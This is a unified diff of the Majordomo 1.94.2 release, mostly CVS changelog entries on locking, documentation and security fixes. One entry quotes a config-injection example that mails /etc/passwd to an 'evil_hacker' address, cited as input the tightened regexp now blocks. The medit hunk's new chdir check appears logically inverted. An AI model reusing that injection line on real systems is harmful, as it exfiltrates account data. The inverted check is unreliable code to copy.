diff -u ./Changelog ../majordomo-1.94.2/Changelog
--- ./Changelog Fri May 24 00:02:49 1996
+++ ../majordomo-1.94.2/Changelog Sun Apr 27 17:29:50 1997
@@ -1,5 +1,669 @@
- * Changelog: release of majordomo version 1.94
+Changes since 1.94.1:
+Doc/list-owner-info 1.9:1.10
+ revision 1.10
+ date: 1997/04/05 19:18:10; author: cwilson; state: Exp; lines: +4 -4
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+ o more documentation fixes.
+ ----------------------------
+Doc/majordomo-faq.html 1.2:1.3
+ revision 1.3
+ date: 1997/04/27 14:57:00; author: cwilson; state: Exp; lines: +85 -48
+ latest revisions
+ ----------------------------
+Doc/majordomo-faq.txt 1.1:1.2
+ revision 1.2
+ date: 1997/04/27 14:57:05; author: cwilson; state: Exp; lines: +929 -854
+ latest revisions
+ ----------------------------
+Doc/man/digest.1 1.3:1.4
+ revision 1.4
+ date: 1997/04/20 16:25:43; author: cwilson; state: Exp; lines: +5 -2
+ From: Jerry Peek <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o The three-argument form of mkdigest hasn't been covered in digest.1
+ and majordomo.8
+ ----------------------------
+Doc/man/majordomo.8 1.4:1.5
+ revision 1.5
+ date: 1997/04/20 16:25:49; author: cwilson; state: Exp; lines: +45 -3
+ From: Jerry Peek <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o The three-argument form of mkdigest hasn't been covered in digest.1
+ and majordomo.8
+ ----------------------------
+INSTALL 1.7:1.10
+ revision 1.10
+ date: 1997/04/20 16:10:30; author: cwilson; state: Exp; lines: +12 -10
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o More doc nits for 1.94.2
+ ----------------------------
+ revision 1.9
+ date: 1997/03/11 10:19:33; author: cwilson; state: Exp; lines: +21 -21
+ o Swap steps 8 and 9 -- alias setup before attempting to register.
+ ----------------------------
+ revision 1.8
+ date: 1997/03/11 10:11:59; author: cwilson; state: Exp; lines: +1 -1
+ From: Jerry Peek <
[email protected]>
+ Message-ID: <
[email protected]>
+
+ o Wrong filename in 1.94.1 INSTALL file
+ ----------------------------
+Makefile 1.56:1.61
+ revision 1.61
+ date: 1997/04/27 14:55:50; author: cwilson; state: Exp; lines: +4 -7
+ From: Nicole LaRock Decker <
[email protected]>
+ Message-ID: <
[email protected]>
+
+ o fixes bounce-remind and bounce pointing at each other.
+ ----------------------------
+ revision 1.60
+ date: 1997/03/12 16:50:46; author: cwilson; state: Exp; lines: +5 -5
+ o version 1.94.2
+ ----------------------------
+ revision 1.59
+ date: 1997/03/11 10:15:16; author: cwilson; state: Exp; lines: +9 -4
+ From: Jerry Peek <
[email protected]>
+ Message-ID: <
[email protected]>
+
+ o install resend.1 and bounce.1
+
+ Message-ID: <
[email protected]>
+
+ o change install.sh flag from -o to -O:
+ I'm using SunOS 4.1.3, one of the systems (with filesystem quotas)
+ that only allows root to use chown. As far as I can tell, the 1.94.1
+ Makefile is supposed to be runnable by the Majordomo user. It fails
+ because install.sh tries to run chown as a non-root user:
+
+ % make install-scripts
+ Testing for perl (/usr/local/bin/perl)...
+ Configuring scripts...
+ ./install.sh -m 751 -o 123 -g 45 . /tmp/majordomo
+ Must be root to use chown
+ *** Error code 1
+ make: Fatal error: Command failed for target `install-scripts'
+
+ I haven't followed this problem real closely since I griped about it
+ for 1.94. I'm sending a patch (below) that seems to work for 1.94.1.
+
+ The install.sh script has two flags for setting ownership, -o and -O.
+ If you use -o, it seems to always do chown. But if you use -O, it will
+ only do chown if it's running as root. So my fix just changes that flag.
+
+ I haven't tested this as root -- or on other systems (that let non-root
+ users do chown). Someone should!
+ ----------------------------
+ revision 1.58
+ date: 1997/03/11 09:59:27; author: cwilson; state: Exp; lines: +7 -3
+ From: Jerry Peek <
[email protected]>
+ Message-ID: <
[email protected]>
+
+ o install bounce and resend man pages instead of a stub file.
+ ----------------------------
+ revision 1.57
+ date: 1997/03/10 16:08:09; author: cwilson; state: Exp; lines: +4 -4
+ From:
[email protected] (Dave Wolfe)
+ Message-ID:
[email protected]
+
+ o A little fix to help idiot-proof the installation since directories
+ almost always return true for "test -x":
+ ----------------------------
+NEWLIST 1.3:1.5
+ revision 1.5
+ date: 1997/04/02 10:32:06; author: cwilson; state: Exp; lines: +6 -6
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o 1.94 -> 1.94.2
+ ----------------------------
+ revision 1.4
+ date: 1997/03/11 10:01:17; author: cwilson; state: Exp; lines: +10 -11
+ From: Jerry Peek <
[email protected]>
+ Message-ID: <
[email protected]>
+
+ o small nits and typos.
+ ----------------------------
+README 1.36:1.38
+ revision 1.38
+ date: 1997/04/20 16:10:39; author: cwilson; state: Exp; lines: +4 -4
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o More doc nits for 1.94.2
+ ----------------------------
+ revision 1.37
+ date: 1997/04/07 18:56:56; author: cwilson; state: Exp; lines: +19 -18
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o more doc fixes.
+ ----------------------------
+approve 1.13:1.15
+ revision 1.15
+ date: 1997/04/05 19:18:36; author: cwilson; state: Exp; lines: +4 -3
+ o Eliminate the "apparently-to" bit
+ ----------------------------
+ revision 1.14
+ date: 1997/04/02 10:34:09; author: cwilson; state: Exp; lines: +10 -3
+ o tries slightly to find the right sendmail.
+ ----------------------------
+config-test 1.15:1.17
+ revision 1.17
+ date: 1997/03/10 17:22:05; author: cwilson; state: Exp; lines: +2 -2
+ make config-test execute itself with arguments if it has to.
+
+ "I don't want to die."
+ "You must, and with a -foo -zot -bang"
+ "Oh, well, okay."
+ ----------------------------
+ revision 1.16
+ date: 1997/03/10 15:45:12; author: cwilson; state: Exp; lines: +9 -8
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o Patches to fix nits in config-test -w fixes primarily.
+ ----------------------------
+config_parse.pl 1.60:1.63
+ revision 1.63
+ date: 1997/04/20 16:06:58; author: cwilson; state: Exp; lines: +15 -9
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o tighten up the regexp check in grab_regexp_array so that
+ things like
+ 1; `/bin/mail evil_hacker < /etc/passwd` ; 0
+ aren't allowed.
+ ----------------------------
+ revision 1.62
+ date: 1997/03/10 17:19:54; author: cwilson; state: Exp; lines: +17 -8
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o Locking patch:
+
+ |I've suspected for quite awhile that list.config file locking had some
+ |holes in it. I can confirm this now by simply mailing off sequences of
+ |writeconfig, newconfig, config commands in each of 20 messages (although
+ |it doesn't take that many) at one-second intervals. I get the full array
+ |of aborts, warnings, invalid passwords, and even a few successes in
+ |response. After making the changes that generated this patch, every
+ |command succeeds, although the config files returned are unpredictable
+ |since there's no locking between each command in a message (I think
+ |that may also be a hole or a feature, depending on your point of view,
+ |but at least it doesn't clobber the file as a result). But first, a
+ |little background for anyone who's interested and to facilitate your
+ |checking that I've covered all the cases and haven't introduced yet more
+ |problems.
+ |
+ |There are two locking mechanisms involved in list config files. One is
+ |specific to the config file itself, which I'll refer to as the "L.lock",
+ |and is implemented through lopen() by creating a lock file with an
+ |"L." prefix. The other is for the set of list config files, including
+ |various temporary files, which I'll refer to as the "lock.LOCK" and is
+ |implemented by higher level functions calling set_lock() with the list
+ |config file name suffixed by ".LOCK" for the lock file name.
+ |
+ |The core functions which manipulate list config locking include:
+ |
+ |writeconfig -- This is a low-level function that writes a list config
+ |file from the current in-memory settings. It assumes the lock.LOCK is
+ |set but doesn't use any L.locks for either its temporary file
+ |(*.config.out) or the config file.
+ |
+ |get_config -- This low-level function sets the lock.LOCK and
+ |conditionally calls writeconfig() to set configuration defaults if no
+ |list config file exists. It then L.locks and reads the list config file
+ |to set up the in-memory configuration, releases the L.lock and then the
+ |lock.LOCK.
+ |
+ |do_config -- This high-level function calls get_config() but uses no
+ |locks while copying the list config file to the mailer to fulfill the
+ |request.
+ |
+ |do_newconfig -- This high-level function calls get_config(), L.locks the
+ |new list config file while it writes it, but releases it before setting
+ |the lock.LOCK while renaming the old and new list config files.
+ |
+ |do_writeconfig -- This high-level function calls get_config() and then
+ |calls writeconfig() without any sort of locking.
+ |
+ |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the
+ |entire time it's working), but it's not apparent that anything less will
+ |work.
+ |
+ |
+ |Several locking windows are apparent in the high-level functions.
+ |
+ |do_config releases all locks (via get_config()) before copying the
+ |(possibly changed) list config file to the mailer.
+ |
+ |do_newconfig replaces the list config file with a file that it may
+ |not have written (since it releases the L.lock on the new file before
+ |obtaining the lock.LOCK), which could cause newconfig commands to appear
+ |to execute out of order (but this is a problem inherent in MTA queueing
+ |anyway), and similarly verify a password that's no longer valid if the
+ |list config file is replaced between the return from get_config() and
+ |either subsequent lock.
+ |
+ |do_writeconfig could completely mangle the list config file since it
+ |fails to honor any extant locks.
+ |
+ |In addition, two levels of locking seems to be overkill. A persistent
+ |lock such as is the lock.LOCKing is necessary and easy to use, although
+ |perhaps a bit coarse. Using L.locking in addition is simply needless
+ |overhead.
+ |
+ |The fix is to set the lock.LOCK around all list config file manipulation
+ |for each of the do_*config commands. Since locks can't be nested, the
+ |fact that the lock.LOCK is already set (and must not be released) is
+ |communicated to get_config by adding an optional third argument to
+ |get_config. When this argument is true, get_config doesn't attempt to
+ |set or free the lock.LOCK for the config file. Appropriate changes are
+ |made in each of the do_*config functions to set and free the lock.LOCK
+ |and call get_config with the new third argument set. Additionally, calls
+ |to lopen/lclose under a lock.LOCK were simplified to open/close calls to
+ |reduce overhead. All other calls to get_config are left as is to allow
+ |get_config to set the lock.LOCK while it defaults/reads the list config
+ |file.
+ |
+ |The following patches implement this fix to the problems noted above.
+ |They apply to an unpatched 1.94.1:
+ ----------------------------
+ revision 1.61
+ date: 1997/03/10 16:14:41; author: cwilson; state: Exp; lines: +43 -27
+ From:
[email protected] (Dave Wolfe)
+
+ o tidy up the documentation a bit.
+ ----------------------------
+contrib/archive_mh.pl 1.3:1.4
+ revision 1.4
+ date: 1997/03/10 15:40:41; author: cwilson; state: Exp; lines: +3 -3
+ typo: require
+ ----------------------------
+contrib/makeindex.pl 1.4:1.5
+ revision 1.5
+ date: 1997/03/11 10:04:47; author: cwilson; state: Exp; lines: +1 -1
+ From: Bill <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o catches cc:mail reply prefixes "Re[3]"
+ ----------------------------
+digest 1.20:1.22
+ revision 1.22
+ date: 1997/03/10 17:11:25; author: cwilson; state: Exp; lines: +5 -5
+ o use -c configfile to specify a different config file.
+ ----------------------------
+ revision 1.21
+ date: 1997/03/10 15:49:26; author: cwilson; state: Exp; lines: +21 -14
+ From: Oliver Xymoron <
[email protected]>
+ Message-ID: <
[email protected]>
+
+ o This changes digest to use a reasonable default for resend_host if it
+ is unset.
+
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o Since I don't run any digests, I didn't give digest the same close
+ scrutiny, and decided it was adequate (I'd already fixed one locking
+ problem there). Recent analysis in light of problems experienced by
+ digest users (posting to Mj-users) has convinced me that there are still
+ a couple of problems with digest's locking.
+
+ The first is, that no matter which kind of configuration is used,
+ the lock is not established until after the volume/issue counts are
+ read from the respective config files, which could cause incorrect
+ incrementing of counts. Secondly, in the case of the -C option, the
+ list-digest.config file is updated without being locked at all, which
+ could cause loss of counts or configuration parameters.
+
+ This patch should take care of the problems so long as -C and non-C
+ invocations of digest are *not* used for the same list. Although the
+ changes are pretty straight forward, I didn't want this patch to miss
+ 1.94.2 so I publishing it without complete testing. I will try to run
+ some tests in the next week however. This is against unpatched 1.94.1.
+ ----------------------------
+majordomo 1.76:1.87
+ revision 1.87
+ date: 1997/04/20 16:11:49; author: cwilson; state: Exp; lines: +4 -3
+ From: "Kendall P. Bullen" <
[email protected]>
+ Message-ID: <
[email protected]>
+
+ o skip directories in do_lists.
+ ----------------------------
+ revision 1.86
+ date: 1997/04/20 16:07:30; author: cwilson; state: Exp; lines: +4 -4
+ From: "Russell Steinthal" <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o help message fix.
+ ----------------------------
+ revision 1.85
+ date: 1997/04/02 11:31:15; author: cwilson; state: Exp; lines: +13 -13
+ From: Brock Rozen <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o Patch for text errors in 1.94.2 in majordomo
+ ----------------------------
+ revision 1.84
+ date: 1997/04/02 10:33:38; author: cwilson; state: Exp; lines: +5 -5
+ o adds subscriber to notification messages sent to owner.
+ ----------------------------
+ revision 1.83
+ date: 1997/04/02 09:29:55; author: cwilson; state: Exp; lines: +9 -5
+ o Fixed comment on rcs|cvs|core line
+ o fixed "this is version $majordomo_version"
+ ----------------------------
+ revision 1.82
+ date: 1997/03/12 16:51:00; author: cwilson; state: Exp; lines: +17 -17
+ o those pesky @ signs.
+ ----------------------------
+ revision 1.81
+ date: 1997/03/11 10:44:58; author: cwilson; state: Exp; lines: +193 -4
+ From: "Roger B.A. Klorese" <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o MajorDumbo help file (insert smiley here)
+ additional dumbo-user text from do_help.
+ ----------------------------
+ revision 1.80
+ date: 1997/03/10 17:20:00; author: cwilson; state: Exp; lines: +36 -32
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o Locking patch:
+
+ |I've suspected for quite awhile that list.config file locking had some
+ |holes in it. I can confirm this now by simply mailing off sequences of
+ |writeconfig, newconfig, config commands in each of 20 messages (although
+ |it doesn't take that many) at one-second intervals. I get the full array
+ |of aborts, warnings, invalid passwords, and even a few successes in
+ |response. After making the changes that generated this patch, every
+ |command succeeds, although the config files returned are unpredictable
+ |since there's no locking between each command in a message (I think
+ |that may also be a hole or a feature, depending on your point of view,
+ |but at least it doesn't clobber the file as a result). But first, a
+ |little background for anyone who's interested and to facilitate your
+ |checking that I've covered all the cases and haven't introduced yet more
+ |problems.
+ |
+ |There are two locking mechanisms involved in list config files. One is
+ |specific to the config file itself, which I'll refer to as the "L.lock",
+ |and is implemented through lopen() by creating a lock file with an
+ |"L." prefix. The other is for the set of list config files, including
+ |various temporary files, which I'll refer to as the "lock.LOCK" and is
+ |implemented by higher level functions calling set_lock() with the list
+ |config file name suffixed by ".LOCK" for the lock file name.
+ |
+ |The core functions which manipulate list config locking include:
+ |
+ |writeconfig -- This is a low-level function that writes a list config
+ |file from the current in-memory settings. It assumes the lock.LOCK is
+ |set but doesn't use any L.locks for either its temporary file
+ |(*.config.out) or the config file.
+ |
+ |get_config -- This low-level function sets the lock.LOCK and
+ |conditionally calls writeconfig() to set configuration defaults if no
+ |list config file exists. It then L.locks and reads the list config file
+ |to set up the in-memory configuration, releases the L.lock and then the
+ |lock.LOCK.
+ |
+ |do_config -- This high-level function calls get_config() but uses no
+ |locks while copying the list config file to the mailer to fulfill the
+ |request.
+ |
+ |do_newconfig -- This high-level function calls get_config(), L.locks the
+ |new list config file while it writes it, but releases it before setting
+ |the lock.LOCK while renaming the old and new list config files.
+ |
+ |do_writeconfig -- This high-level function calls get_config() and then
+ |calls writeconfig() without any sort of locking.
+ |
+ |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the
+ |entire time it's working), but it's not apparent that anything less will
+ |work.
+ |
+ |
+ |Several locking windows are apparent in the high-level functions.
+ |
+ |do_config releases all locks (via get_config()) before copying the
+ |(possibly changed) list config file to the mailer.
+ |
+ |do_newconfig replaces the list config file with a file that it may
+ |not have written (since it releases the L.lock on the new file before
+ |obtaining the lock.LOCK), which could cause newconfig commands to appear
+ |to execute out of order (but this is a problem inherent in MTA queueing
+ |anyway), and similarly verify a password that's no longer valid if the
+ |list config file is replaced between the return from get_config() and
+ |either subsequent lock.
+ |
+ |do_writeconfig could completely mangle the list config file since it
+ |fails to honor any extant locks.
+ |
+ |In addition, two levels of locking seems to be overkill. A persistent
+ |lock such as is the lock.LOCKing is necessary and easy to use, although
+ |perhaps a bit coarse. Using L.locking in addition is simply needless
+ |overhead.
+ |
+ |The fix is to set the lock.LOCK around all list config file manipulation
+ |for each of the do_*config commands. Since locks can't be nested, the
+ |fact that the lock.LOCK is already set (and must not be released) is
+ |communicated to get_config by adding an optional third argument to
+ |get_config. When this argument is true, get_config doesn't attempt to
+ |set or free the lock.LOCK for the config file. Appropriate changes are
+ |made in each of the do_*config functions to set and free the lock.LOCK
+ |and call get_config with the new third argument set. Additionally, calls
+ |to lopen/lclose under a lock.LOCK were simplified to open/close calls to
+ |reduce overhead. All other calls to get_config are left as is to allow
+ |get_config to set the lock.LOCK while it defaults/reads the list config
+ |file.
+ |
+ |The following patches implement this fix to the problems noted above.
+ |They apply to an unpatched 1.94.1:
+ ----------------------------
+ revision 1.79
+ date: 1997/03/10 17:14:28; author: cwilson; state: Exp; lines: +6 -3
+ o make sure a lists command returns something for the user.
+ ----------------------------
+ revision 1.78
+ date: 1997/03/10 17:11:50; author: cwilson; state: Exp; lines: +4 -4
+ o a better check to ignore RCS|CVS|core files/dirs.
+ ----------------------------
+ revision 1.77
+ date: 1997/03/10 15:55:15; author: cwilson; state: Exp; lines: +17 -11
+ From:
[email protected] (Dave Wolfe)
+ Message-ID:
[email protected]
+
+ o Fixes approve acceppeted commands lose arguments
+
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+ (
[email protected] (Oliver Xymoron) )
+
+ o Security fix: "unsubscribe *" won't mention hidden lists
+
+ From:
[email protected] (Rodent of Unusual Size)
+ Message-Id: <
[email protected]>
+
+ o Concerning WriteConfig's creating an output file based upon the
+ input list name rather than the case-smashed one: found the problem.
+
+ From:
[email protected] (Brock Rozen)
+ Message-ID:
[email protected]
+
+ o Slightly different text for subscribe message
+ ----------------------------
+majordomo.aliases 1.1:1.2
+ revision 1.2
+ date: 1997/04/02 10:32:32; author: cwilson; state: Exp; lines: +3 -3
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o 1.94 -> 1.94.2
+ ----------------------------
+majordomo.pl 1.52:1.55
+ revision 1.55
+ date: 1997/04/02 14:04:14; author: cwilson; state: Exp; lines: +4 -4
+ o added $EX_NOUSER
+ ----------------------------
+ revision 1.54
+ date: 1997/04/02 09:12:35; author: cwilson; state: Exp; lines: +4 -4
+ hack fix to ParseAddrs to allow "john doe"@x.y addresses
+ ----------------------------
+ revision 1.53
+ date: 1997/03/10 16:07:14; author: cwilson; state: Exp; lines: +27 -22
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+ ^^^^^^^ MAJORDOMO-USERS ARCHIVE! ^^^^^^^^^^^^^
+
+ o fixes regexp at line 519
+ o tidy up is_list_member to handle absolute paths in restrict_post variable.
+
+ From:
[email protected] (Dave Wolfe)
+ Message-ID:
[email protected]
+
+ o log file doesn't exist regexp bug
+ ----------------------------
+majordomo_version.pl 1.18:1.24
+ revision 1.24
+ date: 1997/04/27 15:05:38; author: cwilson; state: Exp; lines: +2 -2
+ 1.94.2
+ ----------------------------
+ revision 1.23
+ date: 1997/04/20 16:48:22; author: cwilson; state: Exp; lines: +2 -2
+ o spin4, but really call it 1.94.2_spin4
+ ----------------------------
+ revision 1.22
+ date: 1997/04/20 16:43:01; author: cwilson; state: Exp; lines: +2 -2
+ o spin4, but call it 1.94.2.
+ ----------------------------
+ revision 1.21
+ date: 1997/04/07 18:59:16; author: cwilson; state: Exp; lines: +2 -2
+ o spin 3
+ ----------------------------
+ revision 1.20
+ date: 1997/04/02 14:05:15; author: cwilson; state: Exp; lines: +2 -2
+ o spin #2
+ ----------------------------
+ revision 1.19
+ date: 1997/03/12 16:51:16; author: cwilson; state: Exp; lines: +2 -2
+ o bump the version # to .2_spin1
+ ----------------------------
+medit 1.7:1.9
+ revision 1.9
+ date: 1997/04/27 14:56:14; author: cwilson; state: Exp; lines: +4 -3
+ o chdir correctly.
+ ----------------------------
+ revision 1.8
+ date: 1997/04/20 16:25:08; author: cwilson; state: Exp; lines: +3 -3
+ From: Jerry Peek <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o I also found what looks like another bug: if $listdir isn't defined,
+ then the chdir to $listdir *succeeds* and the call to die() isn't
+ executed.
+ ----------------------------
+resend 1.80:1.85
+ revision 1.85
+ date: 1997/04/02 14:04:48; author: cwilson; state: Exp; lines: +8 -4
+ o don't abort if mailer is sendmail and sendmail exits with EX_NOUSER
+ ----------------------------
+ revision 1.84
+ date: 1997/04/02 10:39:50; author: cwilson; state: Exp; lines: +8 -3
+ o Defaults for MAX_HEADER_LINE_LENGTH and MAX_TOTAL_HEADER_LENGTH
+ if they aren't defined.
+ ----------------------------
+ revision 1.83
+ date: 1997/04/02 09:27:17; author: cwilson; state: Exp; lines: +4 -4
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ [ David Brownlee ]
+
+ only check subject for admin headers if administrivia is set in list
+ config file.
+ ----------------------------
+ revision 1.82
+ date: 1997/03/11 16:18:33; author: cwilson; state: Exp; lines: +2 -12
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o This patch removes the misfeature in resend that looks for an absolute
+ path in the approve_passwd or -a string to use as a file containing the
+ actual password. Such a pathname is a security risk, can't be managed
+ remotely, and, if set to the list.passwd file, is a security trap for
+ the naive.
+ ----------------------------
+ revision 1.81
+ date: 1997/03/10 16:22:47; author: cwilson; state: Exp; lines: +15 -40
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o If the list is moderated, don't immediately complain about an
+ invalid approved header.
+
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o make sure there's a newline after message_headers and
+ message_footers.
+
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o fix up restrict_post code.
+ ----------------------------
+sample.cf 1.28:1.33
+ revision 1.33
+ date: 1997/04/27 14:56:45; author: cwilson; state: Exp; lines: +10 -1
+ From: Earle Ake <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o commentary for x400 stuff.
+ ----------------------------
+ revision 1.32
+ date: 1997/04/07 18:57:43; author: cwilson; state: Exp; lines: +2 -1
+ From: Thomas Ritter <
[email protected]>
+ Message-ID: <
[email protected]>
+
+ o added /^subject:\s*Autoreply/i to global_taboo_headers.
+ ----------------------------
+ revision 1.31
+ date: 1997/04/02 10:33:13; author: cwilson; state: Exp; lines: +4 -2
+ o Added 'cancel' to admin_headers and admin_body
+ o added listproc to majordomo_dont_reply.
+ ----------------------------
+ revision 1.30
+ date: 1997/03/11 10:19:46; author: cwilson; state: Exp; lines: +3 -3
+ o remove globs from uptime check.
+ ----------------------------
+ revision 1.29
+ date: 1997/03/10 16:23:03; author: cwilson; state: Exp; lines: +2 -2
+ fix variable typo.
+ ----------------------------
+shlock.pl 1.11:1.13
+ revision 1.13
+ date: 1997/03/10 17:01:15; author: cwilson; state: Exp; lines: +4 -4
+ From: Dave Wolfe <
[email protected]>
+
+ o more tidying.
+ ----------------------------
+ revision 1.12
+ date: 1997/03/10 16:25:23; author: cwilson; state: Exp; lines: +13 -10
+ From: Dave Wolfe <
[email protected]>
+ Message-Id: <
[email protected]>
+
+ o more shlock tweaking.
+ ----------------------------
+
+* Changelog: release of majordomo version 1.94
+
Big New Features in 1.94, or 3 tasty reasons to upgrade:
++ From: Brent Chapman <
[email protected]>
@@ -1578,5 +2242,5 @@
then only members of the list can access the list with "who" and "which"
commands.
-$Header: /sources/cvsrepos/majordomo/Changelog,v 1.20 1996/05/23 22:02:49 cwilson Exp $
+$Header: /sources/cvsrepos/majordomo/Changelog,v 1.21 1997/04/27 15:29:50 cwilson Exp $
Common subdirectories: ./Doc and ../majordomo-1.94.2/Doc
diff -u ./Makefile ../majordomo-1.94.2/Makefile
--- ./Makefile Wed Mar 12 17:50:46 1997
+++ ../majordomo-1.94.2/Makefile Sun Apr 27 16:55:50 1997
@@ -1,9 +1,9 @@
-#$Modified: Wed Mar 12 17:30:11 1997 by cwilson $
+#$Modified: Sun Apr 27 16:52:37 1997 by cwilson $
#
# $Source: /sources/cvsrepos/majordomo/Makefile,v $
-# $Revision: 1.60 $
-# $Date: 1997/03/12 16:50:46 $
-# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.60 1997/03/12 16:50:46 cwilson Exp $
+# $Revision: 1.61 $
+# $Date: 1997/04/27 14:55:50 $
+# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.61 1997/04/27 14:55:50 cwilson Exp $
#
# This is the Makefile for Majordomo.
@@ -212,9 +212,6 @@
Doc/man/bounce-remind.1 $(MAN)/man1/bounce-remind.1
@$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \
Doc/man/resend.1 $(MAN)/man1/resend.1
- @echo ".so man1/bounce-remind.1" > $(TMPDIR)/BoUnCe.$(VERSION)
- @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \
- $(TMPDIR)/BoUnCe.$(VERSION) $(MAN)/man1/bounce.1
@$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \
Doc/man/majordomo.8 $(MAN)/man8/majordomo.8
@$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \
diff -u ./NEWS ../majordomo-1.94.2/NEWS
--- ./NEWS Tue Dec 24 12:11:18 1996
+++ ../majordomo-1.94.2/NEWS Sun Apr 27 17:29:56 1997
@@ -1,3 +1,12 @@
+Changes from 1.94.1 to 1.94.2:
+
+o More documentation fixes.
+o increased checking in regexps
+o better locking
+o ignore directories in the list directory.
+o resend doesn't abort if the sendmail error is EX_NOUSER
+
+
Changes from 1.94 to 1.94.1
Improved Installation:
Common subdirectories: ./contrib and ../majordomo-1.94.2/contrib
Common subdirectories: ./include and ../majordomo-1.94.2/include
diff -u ./majordomo_version.pl ../majordomo-1.94.2/majordomo_version.pl
--- ./majordomo_version.pl Sun Apr 20 18:48:22 1997
+++ ../majordomo-1.94.2/majordomo_version.pl Sun Apr 27 17:05:38 1997
@@ -1,5 +1,5 @@
-# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.23 1997/04/20 16:48:22 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.24 1997/04/27 15:05:38 cwilson Exp $
-$majordomo_version = "1.94.2_spin4";
+$majordomo_version = "1.94.2";
1;
Common subdirectories: ./md-sub and ../majordomo-1.94.2/md-sub
diff -u ./medit ../majordomo-1.94.2/medit
--- ./medit Sun Apr 20 18:25:08 1997
+++ ../majordomo-1.94.2/medit Sun Apr 27 16:56:14 1997
@@ -6,8 +6,8 @@
# permission only.
#
# $Source: /sources/cvsrepos/majordomo/medit,v $
-# $Revision: 1.8 $
-# $Date: 1997/04/20 16:25:08 $
+# $Revision: 1.9 $
+# $Date: 1997/04/27 14:56:14 $
# $Author: cwilson $
# $State: Exp $
#
@@ -35,7 +35,8 @@
# Here's where the fun begins...
-defined($listdir) && chdir "$listdir" || die("can't access \$listdir $listdir");
+! (defined($listdir) && chdir "$listdir")
+ || die("can't access \$listdir $listdir");
$editor = $ENV{"EDITOR"} || "vi";
diff -u ./sample.cf ../majordomo-1.94.2/sample.cf
--- ./sample.cf Mon Apr 7 20:57:43 1997
+++ ../majordomo-1.94.2/sample.cf Sun Apr 27 16:56:45 1997
@@ -107,7 +107,16 @@
# @ sign (meaning that it's headed to an smtp->x400 gateway, as well
# as the 'c=' and 'a[dm]=' parts, which mean something as well.
#
+# If you will be receiving x400 style return addresses that do not have
+# an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1.
+# Otherwise, leave $no_x400 at 0.
+#
$no_x400at = 0;
+#
+# If you will be receiving x400 addresses without the c= or a[dm]= parts
+# set the $no_true_x400 variable to 1. This will disable checking for
+# "c=" and "a[dm]=" pieces.
+#
$no_true_x400 = 0;
@@ -304,4 +313,4 @@
$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@';
1;
-# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.32 1997/04/07 18:57:43 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.33 1997/04/27 14:56:45 cwilson Exp $